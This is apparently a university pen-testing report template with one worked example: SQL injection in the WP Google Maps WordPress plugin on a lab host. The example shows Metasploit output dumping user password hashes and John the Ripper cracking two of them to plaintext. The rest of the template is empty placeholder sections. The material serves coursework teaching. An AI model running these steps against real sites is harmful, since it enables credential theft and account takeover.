



**UNIVERSITY OF
PORTSMOUTH**

Pen-testing Report

By Group Name

Course Title

Module Title

Group Members

1. UP1234567

2. UP7654321

Submission Date

Word Count

Contribution Declaration Table

Student ID	Main Responsibilities	Contribution (%)
UP123456		25%
UP234567		20%
UP345678		25%
UP456789		15%
UP567890		15%
Total		100%

Table of Contents

1.0	Introduction	4
2.0	Summary of Result	4
2.1	Graphical Summary of CVSS System (Version x.x) and Vulnerabilities	4
2.2	Information Gathering (Reconnaissance), Scanning and Enumeration	4
3.0	Vulnerabilities Discovered in Machine 1 (EH...)	4
3.1	SQL Injection - WordPress Google Maps Plugin.....	4
3.2	Vulnerability 2	5
3.3	Vulnerability 3	5
3.4	Vulnerability 4	5
3.5	Vulnerability 5	6
4.0	Vulnerabilities Discovered in Machine 2 (EH...)	6
5.0	Recommendations	6
6.0	Conclusion	6
7.0	References.....	6

1.0 Introduction

2.0 Summary of Result

2.1 Graphical Summary of CVSS System (Version x.x) and Vulnerabilities

2.2 Information Gathering (Reconnaissance), Scanning and Enumeration

3.0 Vulnerabilities Discovered in Machine 1 (EH...)

For Example...

3.1 SQL Injection - WordPress Google Maps Plugin

Rating Category	Results
CVE	2019-10692
CWE	89
Exploit DB ID	48918
CVSS	9.8
Risk Rating	Critical

Table 1: Ratings of Google-Maps Plugin SQL Injection (National Vulnerability Database, n.d)

Description and Exploitation

While conducting a WordPress scan (Figure15), it was discovered that WP-GoogleMaps (v7.10.02) is prone to an SQL injection. This is a type of attack that makes it possible to execute malicious SQL statements which control a database server (Abdullayev & Chauhan, 2023). Using Metasploit (v5.0.101) (Figure 16), the hash value of the users was discovered. Using John the ripper (v1.9.0), the hashes were decrypted and the password of the admin and user tom was discovered (Figure 18 and 19).

Impact: Users without administrative privileges could abuse this either to escalate their privileges or obtain and modify database contents on the user's profile as shown in Figure 21 where a flag file was accessed through user tom's login details.

Recommendations: As shown in Figure 15, the WP Google Maps version is out of date and needs to be updated to the latest version 8.1.22.

```
[*] wp-google-maps
| Location: http://10.10.200.101:60080/wp-content/plugins/wp-google-maps/
| Last Updated: 2022-03-29T08:36:00.000Z
| [!] The version is out of date, the latest version is 8.1.22
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 7.10.02 (50% confidence)
| Found By: Readme - ChangeLog Section (Aggressive Detection)
| - http://10.10.200.101:60080/wp-content/plugins/wp-google-maps/readme.txt
```

Figure 15: WP Google Maps Version.

```
msf5 auxiliary(admin/http/wp_google_maps_sql) > options
Module options (auxiliary/admin/http/wp_google_maps_sql):

  Name      Current Setting  Required  Description
  ----      -
  DB_PREFIX  vt_              yes       WordPress table prefix
  Proxies    no               no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     10.10.200.101    yes       The target host(s), range CIDR identifier, or hosts file
  RPORT      60080            yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                yes       The base path to the wordpress application
  VHOST      no               no        HTTP server virtual host

msf5 auxiliary(admin/http/wp_google_maps_sql) > run
[*] Running module against 10.10.200.101

[*] 10.10.200.101:60080 - Trying to retrieve the vt_users table...
[+] Credentials saved in: /root/.msf4/loot/20220521131344_default_10.10.200.101_wp_google_maps.j_
[+] 10.10.200.101:60080 - Found webmaster $PSBQ0t5pgm4c7syjyKAYGzngL.bdkYmY0 webmaster@none.local
[+] 10.10.200.101:60080 - Found tom $PSB8AFkukAVDg1zHN9idLSzofklgvMNg31 tom@local.com
[+] 10.10.200.101:60080 - Found admin $PSBg6xS5.xetFr2CvKkbmsJpg/fuh7aI. admin@none.local
[*] Auxiliary module execution completed
msf5 auxiliary(admin/http/wp_google_maps_sql) >
```

Figure 16: Metasploit exploitation of WP Google Maps.

```

root@ip-10-10-140-243:~# john hashfile --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "phpass", but the string is also recognized as "phpass-openc1"
Use the "--format=phpass-openc1" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($PS or $HS) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:34 3.57% (ETA: 18:32:24) 0g/s 17379p/s 17379c/s 17379C/s roscoe16..ronniejr.
0g 0:00:03:21 13.71% (ETA: 18:40:57) 0g/s 10743p/s 10743c/s 10743C/s BEESWAX..BEAR21
0g 0:00:05:47 21.22% (ETA: 18:43:47) 0g/s 9367p/s 9367c/s 9367C/s themanshow..theman.ofthefire
0g 0:00:07:13 22.99% (ETA: 18:47:55) 0g/s 8066p/s 8066c/s 8066C/s suha83..sugoreno
0g 0:00:08:34 24.70% (ETA: 18:51:13) 0g/s 7250p/s 7250c/s 7250C/s sjj1994..sjh2782
0g 0:00:11:48 32.91% (ETA: 18:52:23) 0g/s 6872p/s 6872c/s 6872C/s ourboat..ououB12
0g 0:00:13:43 36.30% (ETA: 18:54:19) 0g/s 6495p/s 6495c/s 6495C/s mrright?..nrquick0
0g 0:00:21:05 52.64% (ETA: 18:56:35) 0g/s 6026p/s 6026c/s 6026C/s heredia4..herdis7
0g 0:00:26:46 63.84% (ETA: 18:58:27) 0g/s 5715p/s 5715c/s 5715C/s charmer7..charned_4ever
0g 0:00:28:34 66.10% (ETA: 18:59:45) 0g/s 5536p/s 5536c/s 5536C/s br3ntw00d..br270182
0g 0:00:29:23 71.35% (ETA: 18:57:42) 0g/s 5797p/s 5797c/s 5797C/s alizaya69..allz09
0g 0:00:34:52 81.99% (ETA: 18:59:03) 0g/s 5613p/s 5613c/s 5613C/s 8612337..8611cd34
0g 0:00:38:30 85.92% (ETA: 19:01:20) 0g/s 5351p/s 5351c/s 5351C/s 45252359..452425
0g 0:00:40:29 92.19% (ETA: 19:00:26) 0g/s 5474p/s 5474c/s 5474C/s 12o992..12nellop
0g 0:00:41:28 93.37% (ETA: 19:00:56) 0g/s 5411p/s 5411c/s 5411C/s 10101823Lucifer..1010104
1+1=windowtony! (?)
1g 0:00:41:32 DONE (2022-05-13 18:58) 0.000401g/s 5406p/s 5406c/s 5406C/s 1-1-1010..1+10tres
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed.
root@ip-10-10-140-243:~#

```

Figure 18: Use of John the Ripper to crack user tom hash retrieved.

```

root@ip-10-10-140-243:~# john hash --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "phpass", but the string is also recognized as "phpass-openc1"
Use the "--format=phpass-openc1" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($PS or $HS) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:10:45 14.51% (ETA: 20:16:24) 0g/s 3558p/s 3558c/s 3558C/s 2984561..297146
0g 0:00:12:58 18.62% (ETA: 20:12:00) 0g/s 3708p/s 3708c/s 3708C/s vlliz..vllent fettish
0g 0:00:14:38 23.34% (ETA: 20:05:02) 0g/s 4031p/s 4031c/s 4031C/s stefanie37..stefanf1tas
0g 0:00:15:52 24.83% (ETA: 20:06:15) 0g/s 3934p/s 3934c/s 3934C/s sineadkids3finglas..sine365118
0g 0:00:17:52 28.08% (ETA: 20:05:58) 0g/s 3913p/s 3913c/s 3913C/s rodrygen..rodriguezadea
qwerty1235 (?)
1g 0:00:18:04 DONE (2022-05-13 19:20) 0.000922g/s 4093p/s 4093c/s 4093C/s qwerty132..qwerts89
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed.

```

Figure 19: Use of John the Ripper to crack user admin hash retrieved.

3.2 Vulnerability 2

Rating Category	Results
CVE	
CWE	
Exploit DB ID	
CVSS	
Risk Rating	

Description

Impact

Recommendation

3.3 Vulnerability 3

Rating Category	Results
CVE	
CWE	
Exploit DB ID	
CVSS	
Risk Rating	

Description

Impact

Recommendation

3.4 Vulnerability 4

Rating Category	Results
CVE	
CWE	
Exploit DB ID	
CVSS	
Risk Rating	

Description

Impact

Recommendation

3.5 Vulnerability 5

Rating Category	Results
CVE	
CWE	
Exploit DB ID	
CVSS	
Risk Rating	

Description

Impact

Recommendation

4.0 Vulnerabilities Discovered in Machine 2 (EH...)

5.0 Recommendations

6.0 Conclusion

7.0 References